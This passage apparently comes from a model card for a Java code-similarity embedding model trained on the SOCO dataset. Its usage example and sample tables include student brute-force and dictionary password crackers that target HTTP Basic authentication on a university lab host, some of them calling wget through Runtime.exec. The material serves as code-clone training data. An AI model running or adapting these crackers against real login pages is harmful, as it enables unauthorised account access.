1;\n }\n else\n b3 = bytes [i++];\n }\n\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad)\n {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += "=";\n break;\n case 2:\n encodedString += "==";\n break;\n }\n }\n return encodedString;\n }\n}\n',
'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class BruteForce {\n\n URLConnection conn = null;\n private static boolean status = false;\n\n public static void main (String args[]){\n BruteForce a = new BruteForce();\n String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n \t\t\t\t "",\n \t\t\t\t ""};\n int attempts = 0;\n exit:\n for (int i=0;i<pwdArray.length;i++) {\n\t\t for (int j=0;j<pwdArray.length;j++) {\n\t\t\t for (int k=0;k<pwdArray.length;k++) {\n\t\t\t\t if (pwdArray[i] == \' \' && pwdArray[j] != \' \') continue;\n\t\t\t\t if (pwdArray[j] == \' \' && pwdArray[k] != \' \') continue;\n\t\t\t\t inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k];\n\t\t\t\t attempts++;\n \t\t\t a.doit(inp);\n \n \t\t\t\t if (status) {\n\t\t\t\t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t\t\t System.out.println("Number of attempts = " + attempts);\n\t\t\t\t\t break exit;\n\t\t\t \t }\n \t\t\t inp[2] = "";\n\t\t \t }\n\t \t }\n }\n }\n\n public void doit(String args[]) {\n \n try {\n BufferedReader in = new BufferedReader(\n new InputStreamReader\n (connectURL(new URL(args[0]), args[1], args[2])));\n String line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n status = true;\n }\n }\n catch (IOException e) {\n \n }\n }\n\n public InputStream connectURL (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n conn.setRequestProperty ("Authorization",\n userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n }\n\n public String userNamePasswordBase64(String username, String password) {\n return " " + base64Encode (username + ":" + password);\n }\n\n private final static char pwdArray [] = {\n\t \'a\', \'b\', \'c\', \'d\', \'e\', \'f\', \'g\', \'h\',\n\t \'i\', \'j\', \'k\', \'l\', \'m\', \'n\', \'o\', \'p\',\n\t \'q\', \'r\', \'s\', \'t\', \'u\', \'v\', \'w\', \'x\',\n\t \'y\', \'z\', \'A\', \'B\', \'C\', \'D\', \'E\', \'F\',\n\t \'G\', \'H\', \'I\', \'J\', \'K\', \'L\', \'M\', \'N\',\n\t \'O\', \'P\', \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\',\n\t \'W\', \'X\', \'Y\', \'Z\', \' \'\n };\n\n private final static char base64Array [] = {\n \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n };\n\n private static String base64Encode (String string) {\n String encodedString = "";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length) {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad) {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += "=";\n break;\n case 2:\n encodedString += "==";\n break;\n }\n }\n return encodedString;\n }\n }\n\n',
'\nimport java.io.*;\nimport java.awt.*;\nimport java.net.*;\n\npublic class BruteForce\n{\n\tpublic static void main (String[] args)\n\t{\n\t\tString pw = new String();\n\t\tpw = getPassword ();\n\t\tSystem.out.println("Password is: "+pw);\n\t}\n\tpublic static String getPassword()\n\t{\n\t\tString passWord = new String();\n\t\tpassWord = "AAA";\n\t\tchar[] guess = passWord.toCharArray();\n\t\tProcess pro = null;\n\t\tRuntime runtime = Runtime.getRuntime();\n\t\tBufferedReader in = null;\n\t\tString str=null;\n\t\tboolean found = true;\n\n\t\tSystem.out.println(" attacking.....");\n\t\tfor (int i=65;i<=122 ;i++ )\n\t\t{\n\t\t\tguess[0]=(char)(i);\n for (int j=65;j<=122 ;j++ )\n\t\t\t{\n\t\t\t\tguess[1]=(char)(j);\n for (int k=65 ;k<=122 ;k++ )\n\t\t\t\t{\n\t\t\t\t\tguess[2]=(char)(k);\n\t\t\t\t\tpassWord = new String(guess);\n\t\t\t\t\tString cmd = "wget --http-user= --http-passwd="+passWord +" http://sec-crack.cs.rmit.edu./SEC/2/index.php ";\n\t\t\t\t\ttry\n\t\t\t\t\t{\n\t\t\t\t\t\tpro = runtime.exec(cmd);\n\n\t\t\t\t\t\tin = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\t\t\t\t\t\tfound = true;\n\t\t\t\t\t\tif((str=in.readLine())!=null)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\twhile ((str=in.readLine())!=null)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif (str.endsWith("Required"))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif (found == true)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\treturn passWord;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tcatch (Exception exception)\n\t\t\t\t\t{\n\t\t\t\t\t exception.getMessage();\n\t\t\t\t\t}\n\t\t\t\t\tif(k==90)\n\t\t\t\t\t\tk=96;\n\t\t\t\t\truntime.gc();\n\t\t\t\t}\n\t\t\t\tif(j==90)\n\t\t\t\t\tj=96;\n\t\t\t}\n\t\t\tif(i==90)\n\t\t\t\ti=96;\n\t\t}\n\t\treturn "not found";\n\t}\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8644, 0.1234],
# [0.8644, 1.0000, 0.0765],
# [0.1234, 0.0765, 1.0000]])
```
<!--
### Direct Usage (Transformers)
<details><summary>Click to see the direct usage in Transformers</summary>
</details>
-->
<!--
### Downstream Usage (Sentence Transformers)
You can finetune this model on your own dataset.
<details><summary>Click to expand</summary>
</details>
-->
<!--
### Out-of-Scope Use
*List how the model may foreseeably be misused and address what users ought not to do with the model.*
-->
<!--
## Bias, Risks and Limitations
*What are the known or foreseeable issues stemming from this model? You could also flag here known failure cases or weaknesses of the model.*
-->
<!--
### Recommendations
*What are recommendations with respect to the foreseeable issues? For example, filtering explicit content.*
-->
## Training Details
### Training Dataset
#### soco_train_java
* Dataset: [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) at [44ca4ff](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java/tree/44ca4ff546c090153d7903c15aeda036891ec476)
* Size: 34,368 training samples
* Columns: <code>anchor_code</code>, <code>positive_code</code>, and <code>negative_code</code>
* Approximate statistics based on the first 1000 samples:
| | anchor_code | positive_code | negative_code |
|:--------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|
| type | string | string | string |
| details | <ul><li>min: 51 tokens</li><li>mean: 465.94 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 466.25 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 458.71 tokens</li><li>max: 512 tokens</li></ul> |
* Samples:
| anchor_code | positive_code | negative_code |
|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| <code>import java.util.*;<br>import java.io.*;<br><br><br><br>public class WatchDog {<br><br> public WatchDog() {<br><br> }<br> public static void main(String args[]) {<br> DataInputStream newin;<br><br> try{<br><br><br> System.out.println("Downloading first copy");<br> Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O oldfile.html");<br> String[] cmdDiff = {"//sh", "-c", "diff oldfile.html newfile.html > Diff.txt"};<br> String[] cmdMail = {"//sh", "-c", "mailx -s \"Diffrence\" \"@cs.rmit.edu.\" < Diff.txt"};<br> while(true){<br> Thread.sleep(24*60*60*1000);<br> System.out.println("Downloading new copy");<br> Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O newfile.html");<br> Thread.sleep(2000);<br> Runtime.getRuntime().exec(cmdDiff);<br> Thread.sleep(2000);<br> newin = new DataInputStream( new FileInputStream( "Diff.txt"));<br> if (newin.readLine() != null){<br> System.out.println("Sending Mail");<br> ...</code> | <code>import java.util.*;<br>import java.io.*;<br>import javax.swing.text.html.*;<br><br><br>public class WatchDog {<br><br> public WatchDog() {<br><br> }<br> public static void main (String args[]) {<br> DataInputStream newin;<br><br> try{<br> System.out.println("ishti");<br><br> System.out.println("Downloading first copy");<br> Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O oldfile.html");<br> String[] cmdDiff = {"//sh", "-c", "diff oldfile.html newfile.html > Diff.txt"};<br> String[] cmdMail = {"//sh", "-c", "mailx -s \"Diffrence\" \"@cs.rmit.edu.\" < Diff.txt"};<br> while(true){<br> Thread.sleep(24*60*60*1000);<br> System.out.println("Downloading new copy");<br> Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O newfile.html");<br> Thread.sleep(2000);<br> Runtime.getRuntime().exec(cmdDiff);<br> Thread.sleep(2000);<br> newin = new DataInputStream( new FileInputStream( "Diff.txt"));<br> if (newin.readLine() ...</code> | <code><br><br>import java.net.*;<br>import java.io.*;<br>import java.util.*;<br><br>public class BruteForce{<br><br> private static URL location;<br> private static String user;<br> private BufferedReader input;<br> private char [] password = {'A', 'A', 'A'};<br> private int noLetters = 3;<br><br> <br><br> public BruteForce() {<br> <br> Authenticator.setDefault(new MyAuthenticator ());<br><br> startTime = System.currentTimeMillis();<br> boolean passwordMatched = false;<br> while (!passwordMatched) {<br> try {<br> input = new BufferedReader(new InputStreamReader(location.openStream()));<br> String line = input.readLine();<br> while (line != null) {<br> System.out.println(line);<br> line = input.readLine();<br> }<br> input.close();<br> passwordMatched = true;<br> }<br> catch (ProtocolException e)<br> {<br> <br> <br> }<br> catch (ConnectException e) {<br> System.out.println("Failed connect");<br> }<br> catch (IOException e)...</code> |
| <code>import java.util.*;<br>import java.net.*;<br>import java.io.*;<br><br>public class BruteForce<br>{<br> boolean connected = false;<br> int counter;<br> String[] chars = {"a","b","c","d","e","f","g","h",<br> "i","j","k","l","m","n","o","p",<br> "q","r","s","t","u","v","w","x",<br> "y","z","A","B","C","D","E","F",<br> "G","H","I","J","K","L","M","N",<br> "O","P","Q","R","S","T","U","V",<br> "W","X","Y","Z"};<br> Vector combinations = new Vector();<br> <br> BruteForce()<br> {<br> counter = 0;<br> this.genCombinations();<br> this.startAttack();<br> } <br> <br> public void startAttack()<br> {<br> while(counter<this.combinations.size())<br> {<br> connected = sendRequest();<br> if(connected == true)<br> {<br> System.out.print("The password is: ");<br> System.out.println((String)combinations.elementAt(counter-1));<br> counter = combinations.size(...</code> | <code>import java.util.*;<br>import java.net.*;<br>import java.io.*; <br><br>public class Dictionary<br>{<br> boolean connected = false;<br> int counter;<br> <br> Vector words = new Vector();<br> <br> Dictionary()<br> {<br> counter = 0;<br> this.readWords(); <br> this.startAttack();<br> } <br> <br> public void startAttack()<br> {<br> while(counter<this.words.size())<br> {<br> connected = sendRequest();<br> if(connected == true)<br> {<br> System.out.print("The password is: ");<br> System.out.println((String)words.elementAt(counter-1));<br> counter = words.size();<br> }<br> }<br> }<br> <br><br> public void readWords()<br> {<br> String line;<br><br> try<br> {<br> BufferedReader buffer = new BufferedReader(<br> new FileReader("/usr/share/lib/dict/words"));<br> <br> line = buffer.readLine();<br><br> while(line != null)<br> {<br><br> if(line.length() <= 3)<br> ...</code> | <code>import java.net.*;<br>import java.io.*;<br><br>public class BruteForce<br>{<br> public BruteForce(String u,String uname) throws Exception<br> {<br> String pass="";<br> try<br> {<br> String []chr={"a","b","c","d","e","f","g","h","i","j",<br> "k","l","m","n","o","p","q","r","s","t",<br> "u","v","w","x","y","z","A","B","C","D",<br> "E","F","G","H","I","J","K","L","M","N",<br> "O","P","Q","R","S","T","U","V","W","X","Y","Z"};<br> URL url=new URL(u);<br> PasswordAuthentication pa;<br> MyAuthenticator =new MyAuthenticator();<br> HttpURLConnection h;<br> int c=0;<br> for(int i=1;i<=52;i++)<br> {<br> c++;<br> pass=""+chr[i-1];<br> pa=new PasswordAuthentication(uname,pass.toCharArray());<br> h.setPasswordAuthentication(pa);<br> Authenticator.setDefault();<br> h=(HttpURLConnection)url.openConnection();<br> h.setRequestProperty("user-pass",URLEncoder.encode(":"+pass));<br>System.out.println("Try :"+chr(c)+" password:("+pass+") response message: ("+h.getResponseMessage()+")");<br> if(h.getResponseCode() != 401)<br> throw...</code> |
| <code>import java.net.*;<br>import java.io.*;<br>import java.*;<br>import java.Runtime.*;<br>import java.Object.*;<br>import java.util.*;<br>import java.util.StringTokenizer;<br><br><br>public class ReadFile<br>{<br> private StringTokenizer tokenizer;<br> private BufferedReader bf;<br> private String line;<br> private String first;<br> Vector in = new Vector();<br> <br> public void loadFile()throws NoSuchElementException, IOException<br> {<br> System.out.println("in loadFile");<br> try{<br> bf = new BufferedReader(new FileReader("words"));<br> }<br> catch(FileNotFoundException fe){}<br> catch(IOException io){}<br> while((line = bf.readLine())!=null)<br> {<br><br> int index = 0;<br> tokenizer = new StringTokenizer(line);<br> try<br> {<br> first = tokenizer.nextToken();<br> <br> <br> if (first.length() == 3)<br> {<br> in.add(first);<br> }<br> }<br> catch(NoSuchElementException n)<br> {<br> System.out.println("File Loaded Succesfully");<br><br> }<br><br> }<br> }<br> public Vector getVector()<br> {<br> return in;<br>...</code> | <code>import java.net.*;<br>import java.io.*;<br>import java.*;<br>import java.Runtime.*;<br>import java.Object.*;<br>import java.util.*;<br>import java.util.StringTokenizer;<br><br>public class makePasswords<br>{<br> public String [ ] alphabet1 = {"A", "B", "C", "D", "E", "F", "G", "H", "I",<br> "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X",<br> "Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m",<br> "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"};<br> <br> public String [ ] alphabet2 = {"A", "B", "C", "D", "E", "F", "G", "H", "I",<br> "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X",<br> "Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"};<br> <br> public String [ ] alphabet3 = {"A", "B", "C", "D", "E", "F", "G", "H", "I",<br> "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X",<br> "Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", ...</code> | <code>package java.httputils;<br><br>import java.io.BufferedInputStream;<br>import java.io.BufferedOutputStream;<br>import java.io.BufferedReader;<br>import java.io.FileInputStream;<br>import java.io.FileNotFoundException;<br>import java.io.FileOutputStream;<br>import java.io.FileReader;<br>import java.io.IOException;<br>import java.io.OutputStream;<br><br><br>public class WatchDog<br>{<br> protected final int MILLIS_IN_HOUR = (60 * 60 * 1000);<br> protected int interval = 24;<br> protected String URL = "http://www.cs.rmit.edu./students/";<br> protected String fileName = "WatchDogContent.html";<br> protected String command = "./alert_mail.sh";<br> protected String savedContent;<br> protected String retrievedContent;<br><br> <br> public WatchDog()<br> {<br> super();<br> }<br><br> <br> public void run() throws Exception<br> {<br> HttpRequestClient client = null;<br> <br> <br> System.out.println(getClass().getName() +<br> "Retrieving baseline copy of: " + getURL());<br> client = new HttpRequestClie...</code> |
* Loss: [<code>CachedMultipleNegativesRankingLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#cachedmultiplenegativesrankingloss) with these parameters:
```json
{
"scale": 20.0,
"similarity_fct": "cos_sim",
"mini_batch_size": 32,
"gather_across_devices": false
}
```
### Evaluation Dataset
#### soco_train_java
* Dataset: [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) at [44ca4ff](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java/tree/44ca4ff546c090153d7903c15aeda036891ec476)
* Size: 8,592 evaluation samples
* Columns: <code>anchor_code</code>, <code>positive_code</code>, and <code>negative_code</code>
* Approximate statistics based on the first 1000 samples:
| | anchor_code | positive_code | negative_code |
|:--------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|
| type | string | string | string |
| details | <ul><li>min: 51 tokens</li><li>mean: 465.22 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 464.66 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 458.05 tokens</li><li>max: 512 tokens</li></ul> |
* Samples:
| anchor_code | positive_code | negative_code |
|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| <code><br><br><br><br><br><br>import java.util.*;<br>import java.io.*;<br><br>public class WatchDog<br>{ <br><br> public static void main(String args[])<br> {<br><br> Runtime rt1 = Runtime.getRuntime();<br> Process prss1= null;<br><br> try<br> {<br> prss1 = rt1.exec("wget -R mpg,mpeg, --output-document=first.html http://www.cs.rmit.edu./students/");<br> }catch(java.io.IOException e){}<br><br> MyWatchDogTimer w = new MyWatchDogTimer();<br> Timer time = new Timer();<br> time.schedule(w,864000000,864000000);<br><br> <br> }<br>}<br></code> | <code> <br><br><br><br><br>import java.util.*;<br>import java.io.*;<br><br>public class MyTimer<br>{ <br><br> public static void main(String args[])<br> {<br> Watchdog watch = new Watchdog();<br> Timer time = new Timer();<br> time.schedule(watch,864000000,864000000);<br> <br> <br> }<br>}<br></code> | <code>import java.net.*; <br>import java.io.*; <br>import java.util.Vector;<br>import java.util.Date;<br>import java.security.*;<br><br><br><br><br><br><br><br><br><br><br><br> <br>public class Dictionary { <br> public static BufferedReader in;<br> <br> <br> public static void main(String[] args) throws Exception { <br> String baseURL = "http://sec-crack.cs.rmit.edu./SEC/2/index.php"; <br> int count=0;<br> Date date = new Date();<br> startTime=date.getTime();<br> int LIMITINMINUTES=45;<br> int TIMELIMIT=LIMITINMINUTES*1000*60;<br> boolean timedOut=false;<br> boolean found=false;<br> <br> <br> Vector dictionary=new Vector(readWords());<br> System.out.println("Words in dictionary: "+dictionary.size());<br> <br> <br> <br> <br> <br> <br> <br> while (found==false && timedOut==false && dictionary.elementAt(count)!=null) {<br> <br> Date endDate = new Date();<br> endTime=endDate.getTime(); <br> if (endTime>(TIMELIMIT+startTime)){<br> System.out.println("Timed out");<br> timedOut=true;<br> }<br> <br> String password = "";<br><br> ...</code> |
| <code><br><br><br>import java.io.InputStream;<br>import java.util.Properties;<br><br>import javax.naming.Context;<br>import javax.naming.InitialContext;<br>import javax.rmi.PortableRemoteObject;<br>import javax.sql.DataSource;<br><br><br><br><br><br><br>public class MailsendPropertyHelper {<br><br> private static Properties testProps;<br><br> public MailsendPropertyHelper() {<br> }<br><br><br> <br><br> public static String getProperty(String pKey){<br> try{<br> initProps();<br> }<br> catch(Exception e){<br> System.err.println("Error init'ing the watchddog Props");<br> e.printStackTrace();<br> }<br> return testProps.getProperty(pKey);<br> }<br><br><br> private static void initProps() throws Exception{<br> if(testProps == null){<br> testProps = new Properties();<br><br> InputStream fis =<br> MailsendPropertyHelper.class.getResourceAsStream("/mailsend.properties");<br> testProps.load(fis);<br> }<br> }<br>}<br><br><br><br><br><br></code> | <code><br><br><br><br>import java.io.InputStream;<br>import java.util.Properties;<br><br>import javax.naming.Context;<br>import javax.naming.InitialContext;<br>import javax.rmi.PortableRemoteObject;<br>import javax.sql.DataSource;<br><br><br><br><br>public class BruteForcePropertyHelper {<br><br> private static Properties bruteForceProps;<br><br><br><br> public BruteForcePropertyHelper() {<br> }<br><br><br> <br><br> public static String getProperty(String pKey){<br> try{<br> initProps();<br> }<br> catch(Exception e){<br> System.err.println("Error init'ing the burteforce Props");<br> e.printStackTrace();<br> }<br> return bruteForceProps.getProperty(pKey);<br> }<br><br><br> private static void initProps() throws Exception{<br> if(bruteForceProps == null){<br> bruteForceProps = new Properties();<br><br> InputStream fis =<br> BruteForcePropertyHelper.class.getResourceAsStream("/bruteforce.properties");<br> bruteForceProps.load(fis);<br> }<br> }<br>}<br><br></code> | <code><br>import java.net.*;<br>import java.io.*;<br>import java.Ostermiller.util.*;<br>import java.util.*;<br><br>public class MyClient2 implements Runnable<br>{<br> private String hostname;<br> private int port;<br> private String filename;<br> private Socket s;<br> private int n;<br> private InputStream sin;<br> private OutputStream sout;<br> private int dif;<br> private String myPassword;<br> private int status;<br> private int myTime;<br> private BruteForce myMaster;<br> <br><br> public MyClient2(BruteForce bf , int num, int myPort, String password)<br> {<br> <br> hostname = new String("sec-crack.cs.rmit.edu.");<br> port = myPort;<br> status = 0;<br> myTime = 0;<br> myPassword = password;<br> filename = new String("/SEC/2/");<br> myMaster = 0;<br> n = num;<br> dif = 0;<br> <br> }<br> public getDif()<br> {<br> return dif;<br> }<br> public int getStatus()<br> {<br> return status;<br> }<br> public void run() <br> {<br> String inputLine;<br> String[] tokens = new String[5];<br> int i;<br> myTime = 0;<br> ...</code> |
| <code>import java.io.*;<br>import java.net.*;<br>import java.util.*;<br><br><br>public class Dictionary<br>{<br> public static void main (String args[])<br> {<br> <br> <br> Calendar cal = Calendar.getInstance();<br> Date now=cal.getTime();<br> double startTime = now.getTime();<br><br> String password=getPassword(startTime);<br> System.out.println("The password is " + password);<br> }<br><br> public static String getPassword(double startTime)<br> {<br> String password="";<br> int requests=0;<br><br> try<br> {<br> <br> FileReader fRead = new FileReader("/usr/share/lib/dict/words");<br> BufferedReader buf = new BufferedReader(fRead);<br><br> password=buf.readLine();<br><br> while (password != null)<br> {<br> <br> if (password.length()<=3)<br> {<br> requests++;<br> if (testPassword(password, startTime, requests))<br> return password;<br> }<br><br> password = buf.readLine();<br><br> }<br> }<br> catch (IOException ioe)<br> {<br><br> }<br><br> return password;<br> }<br><br> private static boolean testPassword(String password, double startTime, int requests)<br> {<br> try<br> {<br> <br> <br> U...</code> | <code>import java.io.*;<br>import java.net.*;<br>import java.util.*;<br><br><br>public class BruteForce<br>{<br><br> public static void main(String args[])<br> {<br> <br> <br> Calendar cal = Calendar.getInstance();<br> Date now=cal.getTime();<br> double startTime = now.getTime();<br><br> String password=getPassword(startTime);<br> System.out.println("The password is " + password);<br> }<br><br> public static String getPassword(double startTime)<br> {<br> char first, second, third;<br> String password="";<br> int requests=0;<br><br> <br> for (int i=65; i<123; i++)<br> {<br> requests++;<br> first = (char) i;<br><br> password = first + "";<br><br> <br> if (testPassword(password, startTime, requests))<br> return password;<br><br> for (int j=65; j<123; j++)<br> {<br> requests++;<br> second = (char) j;<br><br> password = first + "" + second;<br><br> <br> if (testPassword(password, startTime, requests))<br> return password;<br><br> for (int k=65; k<123; k++)<br> {<br> requests++;<br> third = (char) k;<br><br> password = first + "" + second + "" + third;<br><br> <br> if (test...</code> | <code><br><br>import java.misc.BASE64Encoder;<br>import java.misc.BASE64Decoder;<br>import java.io.*;<br>import java.net.*;<br>import java.util.*;<br><br><br><br>public class Dictionary {<br> <br> public Dictionary(String url, String dictionaryFile) {<br> try{<br> this.url = url;<br> this.dictionaryPath = dictionaryFile;<br> InputStream fis = new FileInputStream(this.dictionaryPath);<br> dict = new BufferedReader(new InputStreamReader(fis));<br><br> }catch(IOException ioe){<br> System.out.println("Error opening dictionary file:\n" +ioe);<br> }<br> }<br><br><br> <br> private String url = null;<br> <br> private String dictionaryPath = null;<br> <br> private BufferedReader dict = null;<br> <br> private int attempts = 0;<br> <br> private int passwordSize = 3;<br> <br> public void setPasswordSize(int size){<br> this.passwordSize = size;<br> }<br> <br> public String getNextPassword()throws IOException{<br><br> String line = dict.readLine();<br><br> while(line!=null&&line.length()!=this.passwordSize )<br> line = dict.readLine();<br><br> return line;<br> }<br> <br> publ...</code> |
* Loss: [<code>CachedMultipleNegativesRankingLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#cachedmultiplenegativesrankingloss) with these parameters:
```json
{
"scale": 20.0,
"similarity_fct": "cos_sim",
"mini_batch_size": 32,
"gather_across_devices": false
}
```
### Training Hyperparameters
#### Non-Default Hyperparameters
- `per_device_train_batch_size`: 16
- `num_train_epochs`: 1
- `warmup_ratio`: 0.1
- `fp16`: True
- `batch_sampler`: no_duplicates
#### All Hyperparameters
<details><summary>Click to expand</summary>
- `overwrite_output_dir`: False
- `do_predict`: False
- `eval_strategy`: no
- `prediction_loss_only`: True
- `per_device_train_batch_size`: 16
- `per_device_eval_batch_size`: 8
- `per_gpu_train_batch_size`: None
- `per_gpu_eval_batch_size`: None
- `gradient_accumulation_steps`: 1
- `eval_accumulation_steps`: None
- `torch_empty_cache_steps`: None
- `learning_rate`: 5e-05
- `weight_decay`: 0.0
- `adam_beta1`: 0.9
- `adam_beta2`: 0.999
- `adam_epsilon`: 1e-08
- `max_grad_norm`: 1.0
- `num_train_epochs`: 1
- `max_steps`: -1
- `lr_scheduler_type`: linear
- `lr_scheduler_kwargs`: {}
- `warmup_ratio`: 0.1
- `warmup_steps`: 0
- `log_level`: passive
- `log_level_replica`: warning
- `log_on_each_node`: True
- `logging_nan_inf_filter`: True
- `save_safetensors`: True
- `save_on_each_node`: False
- `save_only_model`: False
- `restore_callback_states_from_checkpoint`: False
- `no_cuda`: False
- `use_cpu`: False
- `use_mps_device`: False
- `seed`: 42
- `data_seed`: None
- `jit_mode_eval`: False
- `use_ipex`: False
- `bf16`: False
- `fp16`: True
- `fp16_opt_level`: O1
- `half_precision_backend`: auto
- `bf16_full_eval`: False
- `fp16_full_eval`: False
- `tf32`: None
- `local_rank`: 0
- `ddp_backend`: None
- `tpu_num_cores`: None
- `tpu_metrics_debug`: False
- `debug`: []
- `dataloader_drop_last`: False
- `dataloader_num_workers`: 0
- `dataloader_prefetch_factor`: None
- `past_index`: -1
- `disable_tqdm`: False
- `remove_unused_columns`: True
- `label_names`: None
- `load_best_model_at_end`: False
- `ignore_data_skip`: False
